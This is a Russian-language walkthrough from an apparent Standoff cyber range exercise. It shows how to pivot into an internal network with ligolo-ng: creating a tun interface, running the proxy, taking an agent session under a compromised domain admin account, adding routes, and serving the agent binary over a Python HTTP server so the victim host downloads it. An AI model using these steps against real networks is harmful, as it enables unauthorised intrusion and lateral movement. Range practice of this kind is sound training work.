

Проброс сетевого трафика (Standoff)

*Опустим шаги подключения
и получения первичного доступа
P.S. первичный доступ был
получен
через VPN конфиг (фишинг бот
опять сломался)
и VPN был отключен после
установки агента*

1. Проверим работу ping на внутренний хост 10.154.13.70

```
100 min/avg/max/mdev = 115.134/143.411/170.471/10.000 ms
(kali㉿kali)-[~/Desktop/Standoff_HTE]
$ ping 10.154.13.70
PING 10.154.13.70 (10.154.13.70) 56(84) bytes of data.
^C
— 10.154.13.70 ping statistics —
6 packets transmitted, 0 received, 100% packet loss, time 5118ms
```

2. Настроим интерфейс для ligolo

2.1 `sudo ip tuntap add user kali mode tun ligolo` /// создаем туннель с именем ligolo

2.2 `sudo ip link set ligolo up` /// поднимаем линк

```
(kali㉿kali)-[~/Desktop/Standoff_HTE]
$ sudo ip tuntap add user kali mode tun ligolo
[sudo] password for kali:

(kali㉿kali)-[~/Desktop/Standoff_HTE]
$ sudo ip link set ligolo up
```

3. Запустим ligolo

3.1 переходим в директорию с прокси ligolo для нашей ОС (linux в данном случае)

3.2 запускаем с помощью `./proxu --selfcert`

6. Запускаем туннель и проверяем ip адрес машины которая подключилась к нам

```
ligolo-ng » INFO[0133] Agent joined. name="hte\\a_petinson_
ligolo-ng » session
? Specify a session : 1 - hte\\a_petinson_admin@ggarner - 10.124.1.150:58818 - 051e5d13-98f8
[Agent : hte\\a_petinson_admin@ggarner] » tunnel_start --tun ligolo
[Agent : hte\\a_petinson_admin@ggarner] » INFO[0183] Starting tunnel to hte\\a_petinson_admin
[Agent : hte\\a_petinson_admin@ggarner] »
[Agent : hte\\a_petinson_admin@ggarner] » ipconfig
error: unknown command, try 'help'
[Agent : hte\\a_petinson_admin@ggarner] » ifconfig
```

Interface 0	
Name	Ethernet0 3
Hardware MAC	00:50:56:b7:04:31
MTU	1500
Flags	up broadcast multicast running
IPv4 Address	10.154.13.69/27

7. Теперь нужно настроить route для интерфейса с помощью команды `sudo ip route 10.154.12.0/23 dev ligolo` /// взял другой ip для покрытия двух сетей (PS route 10.154.13.0/24 также будет работать, route 10.154.13.32/27 не увидит машину которую пингуем, но работает с 10.154.13.46)

```
(kali@kali)-[~/Downloads]
$ sudo ip route add 10.154.12.0/23 dev ligolo
[sudo] password for kali:
```

```
(kali@kali)-[~/Desktop/Standoff_HTE]
$ ping 10.154.13.46
PING 10.154.13.46 (10.154.13.46) 56(84) bytes of data:
64 bytes from 10.154.13.46: icmp_seq=1 ttl=64 time=115 ms
64 bytes from 10.154.13.46: icmp_seq=2 ttl=64 time=116 ms
64 bytes from 10.154.13.46: icmp_seq=3 ttl=64 time=114 ms
64 bytes from 10.154.13.46: icmp_seq=4 ttl=64 time=124 ms
^C
— 10.154.13.46 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 114.213/117.200/124.013/3.994 ms

(kali@kali)-[~/Desktop/Standoff_HTE]
$ ping 10.154.13.46
PING 10.154.13.46 (10.154.13.46) 56(84) bytes of data.
^C
— 10.154.13.46 ping statistics —
4 packets transmitted, 0 received, 100% packet loss, time 3064ms
```

```
10.127.0.0/16 via 10.127.240.1 dev tun0
10.127.240.0/21 dev tun0 proto kernel scope link src 10.127.246.243
10.154.12.0/23 via 10.154.13.193 dev tun1
10.154.12.0/23 dev ligolo scope link
10.154.13.192/27 dev tun1 proto kernel scope link src 10.154.13.194
192.168.72.0/24 dev eth0 proto kernel scope link src 192.168.72.138 metric 100

(kali@kali)-[~/Downloads]
$ sudo ip route del 10.154.12.0/23 dev ligolo
(kali@kali)-[~/Downloads]
$ sudo ip route add 10.154.13.32/27 dev ligolo
(kali@kali)-[~/Downloads]
$ sudo ip route del 10.154.13.32/27 dev ligolo
(kali@kali)-[~/Downloads]
$
```

8. Проверяем пинг до 10.154.13.70

```
(kali@kali)-[~/Desktop/Standoff_HTE]
$ ping 10.154.13.70
PING 10.154.13.70 (10.154.13.70) 56(84) bytes of data.
64 bytes from 10.154.13.70: icmp_seq=1 ttl=64 time=137 ms
64 bytes from 10.154.13.70: icmp_seq=2 ttl=64 time=140 ms
64 bytes from 10.154.13.70: icmp_seq=3 ttl=64 time=148 ms
64 bytes from 10.154.13.70: icmp_seq=4 ttl=64 time=144 ms
64 bytes from 10.154.13.70: icmp_seq=5 ttl=64 time=176 ms
64 bytes from 10.154.13.70: icmp_seq=6 ttl=64 time=115 ms
^C
— 10.154.13.70 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5004ms
rtt min/avg/max/mdev = 115.134/143.411/176.471/18.086 ms
```

9. Для наглядности отключимся от агента и проверим еще раз пинг (не работает)

The screenshot shows a Kali Linux terminal window with three tabs: 'kali@kali: ~/Desktop/Standoff_HTE', 'kali@kali: ~/Downloads', and 'kali@kali: ~/Downloads'. The terminal output includes:

```
PING 10.154.13.70 (10.154.13.70) 56(84) bytes of data.  
64 bytes from 10.154.13.70: icmp_seq=1 ttl=64 time=137 ms  
64 bytes from 10.154.13.70: icmp_seq=2 ttl=64 time=140 ms  
64 bytes from 10.154.13.70: icmp_seq=3 ttl=64 time=148 ms  
64 bytes from 10.154.13.70: icmp_seq=4 ttl=64 time=144 ms  
64 bytes from 10.154.13.70: icmp_seq=5 ttl=64 time=176 ms  
64 bytes from 10.154.13.70: icmp_seq=6 ttl=64 time=115 ms  
^C  
--- 10.154.13.70 ping statistics ---  
6 packets transmitted, 6 received, 0% packet loss, time 5004ms  
rtt min/avg/max/mdev = 115.134/143.411/176.471/18.086 ms  
  
[kali@kali:~/Desktop/Standoff_HTE]  
$ ping 10.154.13.70  
PING 10.154.13.70 (10.154.13.70) 56(84) bytes of data.  
^C  
--- 10.154.13.70 ping statistics ---  
6 packets transmitted, 0 received, 100% packet loss, time 5118ms  
  
error: unknown command, try 'help'  
[Agent : hte\va_petinson_admin@ggarner] » ifconfig
```

Interface 0	
Name	Ethernet0 3
Hardware MAC	00:50:56:b7:04:31
MTU	1500
Flags	up broadcast multicast running
IPv4 Address	10.154.13.69/27

Interface 1	
Name	Loopback Pseudo-Interface 1
Hardware MAC	-1
MTU	-1
Flags	up loopback multicast running
IPv6 Address	::1/128
IPv4 Address	127.0.0.1/8

```
[Agent : hte\va_petinson_admin@ggarner] »  
[Agent : hte\va_petinson_admin@ggarner] » cmd  
error: unknown command, try 'help'  
[Agent : hte\va_petinson_admin@ggarner] » ^C  
input Ctrl-c once more to exit  
[Agent : hte\va_petinson_admin@ggarner] » ^C  
  
[kali@kali:~/Downloads]  
$ ls ligolo-ng_agent_0.7.2-alpha_windows_amd64  
agent.exe LICENSE README.md  
  
[kali@kali:~/Downloads]  
$ python -m http.server 8888  
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...  
10.124.1.150 - - [28/Nov/2024 04:33:39] "GET /ligolo-ng_agent_0.7.2-alpha_windows_amd64/agent.exe HTTP/1.1" 200 -  
^C  
Keyboard interrupt received, exiting.  
  
[kali@kali:~/Downloads]  
$ sudo ip route add 10.154.12.0/23 dev ligolo  
[sudo] password for kali:  
[kali@kali:~/Downloads]
```

At the bottom of the terminal, there is a status bar with icons for network, volume, and other system utilities, and a message: "Move the mouse pointer inside or press Ctrl+G."